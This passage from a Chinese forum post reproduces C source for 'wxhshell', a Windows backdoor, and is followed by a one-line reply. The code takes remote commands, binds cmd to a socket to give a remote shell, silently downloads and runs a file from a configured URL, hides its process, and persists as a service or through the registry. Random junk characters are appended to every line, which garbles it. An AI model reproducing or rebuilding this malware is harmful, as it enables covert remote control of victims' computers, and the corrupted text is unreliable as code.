  if(strstr(cmd,"http://")) { n1aOpz6`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dd6%3L{cn  
  if(DownloadFile(cmd,wsh)) @=%g{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Eus_aP  
  else jcjl q-x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7{l~\] 6d  
  } R<vbhB/lU  
  else { 4'tY1 d  
]omBq<ox'Y  
    switch(cmd[0]) { 'vYt_T  
  F>5b[q6~4  
  // 帮助 sCmN|Q  
  case '?': { aK]AhOG   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .;S1HOHz4  
    break; d^v.tYM$N  
  } k2.k}?w!JO  
  // 安装 L4ct2|w}ul  
  case 'i': { yY*(!^S  
    if(Install()) Z$r7Hi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ur7S K(#  
    else (Q&O'ng1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @6%7X7m  
    break; }$sTnea  
    } Ck>]+rl  
  // 卸载 #3{{[i(;i  
  case 'r': { 4#.Q|vyl]"  
    if(Uninstall()) mg>wv[ 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P!IXcPKW53  
    else 2aX{r/Lc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )=bW\=[8  
    break;  (^B=>  
    } ?>I  
  // 显示 wxhshell 所在路径 E$ &bl  
  case 'p': { +WKN&@  
    char svExeFile[MAX_PATH]; r:Q=6j,  
    strcpy(svExeFile,"\n\r"); 3.g4X?=zd  
      strcat(svExeFile,ExeFile); yW\kmv.O  
        send(wsh,svExeFile,strlen(svExeFile),0); c4r9k-w0E  
    break; 8H T3C\$s  
    } +F%tBUY{<  
  // 重启 |/$954Hr#<  
  case 'b': { i2;,\FI@t%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]m7x&N2  
    if(Boot(REBOOT)) [ wnaF|h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'cAS>s"$}V  
    else { ;j[:tt\k  
    closesocket(wsh); C N}0( 2n  
    ExitThread(0); @?;)x&<8?3  
    } [d-Y1  
    break; g:!R't?  
    } e\f\CMb  
  // 关机 \m1^sFMZ  
  case 'd': { WS?Y8~+{5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?AQA>D#W  
    if(Boot(SHUTDOWN)) ts("(zI1E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \PFjw9s  
    else { ,H<nNBv 3M  
    closesocket(wsh);  B@*!>R  
    ExitThread(0); >6@,L+-6r  
    } &3x da1H  
    break; ?^^TR/  
    } uq7/G|  
  // 获取shell =vriraV"  
  case 's': { rusYNb1J  
    CmdShell(wsh); I)0_0JXs  
    closesocket(wsh); ]scr@e  
    ExitThread(0); a<>cbP  
    break; 1jAuW~  
  } eNM"e-  
  // 退出 =UWW(^M#[:  
  case 'x': { 8<KC-|y.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z:V<P,N  
    CloseIt(wsh); $ 9E"{6;@  
    break; hx/A215L  
    } b^()[4M;  
  // 离开 >Rb jdM5K4  
  case 'q': { ,JTyOBB<I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'aEN(Mdz1e  
    closesocket(wsh); \_i22/Et  
    WSACleanup(); BO6XY90(  
    exit(1); e 0Z2B2  
    break; D~`RLPMk  
        } D$rn?@&g  
  } /^I!)|At  
  } qg<Y^ y  
jHA(mU)b  
  // 提示信息 HqV4!o9'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p6)6Gcx  
} npbf>n^R  
  } ~DB:/VSmu  
wAzaxeV=  
  return; jIHY[yDT  
} jZvIqR/  
se}$/Y}t  
// shell模块句柄 g2 mq?q(g  
int CmdShell(SOCKET sock) zzh7 "M3Qn  
{ ]gF=I5jn]  
STARTUPINFO si; D5].^*AbZ  
ZeroMemory(&si,sizeof(si)); H7<g5pv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sco'] ^#(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O#>,vf$  
PROCESS_INFORMATION ProcessInfo; :!fY;c?  
char cmdline[]="cmd"; 1]A\@(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "d M-3o<  
  return 0; |<y1<O>F  
} LcNI$g;}Yf  
R? N+./{  
// 自身启动模式 -rHqU|  
int StartFromService(void) w_LkS/  
{ #G?",,&dM  
typedef struct CWB<I  
{ |RqCI9N6  
  DWORD ExitStatus; U^DR'X=  
  DWORD PebBaseAddress; YdB/s1|G  
  DWORD AffinityMask; MI.OOoP3a  
  DWORD BasePriority; U_E t  
  ULONG UniqueProcessId; i3Xo6!Q  
  ULONG InheritedFromUniqueProcessId; AP4s_X+=  
}   PROCESS_BASIC_INFORMATION; :`<MlX  
T8W^qrx.v  
PROCNTQSIP NtQueryInformationProcess; qDfhR`1k  
Z*v`kl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }>3jHWxLc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; at2)%V)  
?nE9@G5Gc  
  HANDLE             hProcess; _(8N*q*w  
  PROCESS_BASIC_INFORMATION pbi; RmO kb~  
uBC#4cX`D*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1Vz3N/AP%?  
  if(NULL == hInst ) return 0; j<9^BNl  
*<?KOM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /;u=#qu(E-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ') 2LP;(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q%)."10}]  
ltkA7dUbu  
  if (!NtQueryInformationProcess) return 0; 1$:O9 {F  
m Q<Vwx0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i~5'bSq c  
  if(!hProcess) return 0; =Pp-9<& S  
zY-?Bv_D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  qzSm]l?z  
tZ*>S]qD  
  CloseHandle(hProcess); 8k.#4}fP  
"tDB[?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r $YEq5  
if(hProcess==NULL) return 0; )2u_c=  
UjyrmQf  
HMODULE hMod; 9PaV*S(\TR  
char procName[255]; , 0?_? GO  
unsigned long cbNeeded; ^$rqyWZYp  
<u?\%iJ"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6\y?+H1  
'I>geW?{QK  
  CloseHandle(hProcess); 1p<*11  
li#ep?5h^  
if(strstr(procName,"services")) return 1; // 以服务启动 gnf4H V~  
U0N6\+  
  return 0; // 注册表启动 ;:Tb_4Hr  
} 8\PI1U  
b/E3Kse?  
// 主模块 *h pS/g/3\  
int StartWxhshell(LPSTR lpCmdLine) R(f%*S4  
{ ndk~(ex|j  
  SOCKET wsl; Le,;)Nd  
BOOL val=TRUE; rV*Ri~Vx  
  int port=0; kp6&e  
  struct sockaddr_in door; i|S/g.r  
$2Bll5!]  
  if(wscfg.ws_autoins) Install(); v9#F\F/  
RS2uk 7MB  
port=atoi(lpCmdLine); bY~V?yNgKM  
I y5)SZ'  
if(port<=0) port=wscfg.ws_port; \"Qa)1 |  
uOh  
  WSADATA data; H#T&7X_<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WP^wNi ~>  
v[jg|s&6"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3wPUP+)c7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >3I|5kZ6  
  door.sin_family = AF_INET; ^t`0ul]c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y6H`FFqK  
  door.sin_port = htons(port); }5Km \OI  
@jZ1WHS_a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f'Oj01[  
closesocket(wsl); 9j 0o)]  
return 1; <uo@k'   
} /8"rCh|m-  
}z2[w@M  
  if(listen(wsl,2) == INVALID_SOCKET) { VLfKN)g  
closesocket(wsl); fd&>p  
return 1; hANe$10=H  
} vVjk9_Ul  
  Wxhshell(wsl); SXNde@% {  
  WSACleanup(); 74c5\UxA  
xE*. ,:,&  
return 0; 5d-rF:#  
oS<*\!&D  
} m+x$LkP  
[&lH[:Y#  
// 以NT服务方式启动 o;OEb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p]7IoO -@  
{ |!CAxE0d$B  
DWORD   status = 0; :xY9eq=  
  DWORD   specificError = 0xfffffff; 0aJcX)  
f7;<jj;w7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .F/s (  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %kP=VUXj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F><ficT  
  serviceStatus.dwWin32ExitCode     = 0; CbOCL~ "  
  serviceStatus.dwServiceSpecificExitCode = 0; x X.{(er  
  serviceStatus.dwCheckPoint       = 0; s'BlFB n  
  serviceStatus.dwWaitHint       = 0; 7s Gf_`Z  
P]2V~I/X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &#!1 Y[e^  
  if (hServiceStatusHandle==0) return; a/[)A _-  
l;B  
status = GetLastError(); `(E$-m-~jH  
  if (status!=NO_ERROR) bzECNi5^  
{ =}Yz[-I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O<MO2U+^x  
    serviceStatus.dwCheckPoint       = 0; Y<_;8%S  
    serviceStatus.dwWaitHint       = 0; zu 7Fq]zD  
    serviceStatus.dwWin32ExitCode     = status; k[y^7, r  
    serviceStatus.dwServiceSpecificExitCode = specificError; !&5*H06  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); | 3`8$-  
    return; T`GiM%R;g  
  } .X:,]of  
hUEA)c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yA';~V\V{>  
  serviceStatus.dwCheckPoint       = 0; wR"17z7[]  
  serviceStatus.dwWaitHint       = 0; |<MSV KW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F!-%v5.y  
} Z,V<&9a;  
K87yQOjPv  
// 处理NT服务事件,比如:启动、停止 F?qg?1v B|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s(r4m/  
{ KxWm63"  
switch(fdwControl) -&lD0p>*g  
{ }L=Qp=4  
case SERVICE_CONTROL_STOP: ,vAcri 97  
  serviceStatus.dwWin32ExitCode = 0; `v)ZOw9&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lAkg47i  
  serviceStatus.dwCheckPoint   = 0; \mWH8Z }Z  
  serviceStatus.dwWaitHint     = 0; ]Qe"S>,?`  
  { }]=@Y/p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L-%'jR  
  } m^w{:\p  
  return; w: mm@8N  
case SERVICE_CONTROL_PAUSE: ZKM@U?PK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #$}A$sm  
  break; 5=8t<v1Bn  
case SERVICE_CONTROL_CONTINUE: !lBK!'0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7}`FXB  
  break; *;U<b  
case SERVICE_CONTROL_INTERROGATE: 4[)tO-v:Y  
  break; 7`&6l+S|  
}; JEF;Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \u;`Lf  
} 3 rR1/\  
`$q0fTz  
// 标准应用程序主函数 qqys`.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9_ZGb"(Lj  
{ YPA$38  
$V F$Ok>  
// 获取操作系统版本 1-E utq  
OsIsNt=GetOsVer(); v:n[H]K|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +,TrJg  
RE1M4UV.  
  // 从命令行安装 PKQ.gPu6*@  
  if(strpbrk(lpCmdLine,"iI")) Install(); "8~PfLJ+  
,H1K sN  
  // 下载执行文件 }F|B'[wn  
if(wscfg.ws_downexe) { hE<Sm*HU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EV7lgKM^  
  WinExec(wscfg.ws_filenam,SW_HIDE); &xp]9$  
} rK|("  
U*,\UF  
if(!OsIsNt) { d]MpE9@'v  
// 如果时win9x,隐藏进程并且设置为注册表启动 OL_jU2,fv  
HideProc(); +O.qYX  
StartWxhshell(lpCmdLine); A 6 `a  
} cIcu=U  
else Ul}<@d9: B  
  if(StartFromService()) 6;wKL?snO  
  // 以服务方式启动 S#<y_w%  
  StartServiceCtrlDispatcher(DispatchTable); JoZS p"R  
else ;lfv.-u:<  
  // 普通方式启动 :Gew8G  
  StartWxhshell(lpCmdLine); #%w)w R3  
>8b%*f8R  
return 0;  ) TRUx  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八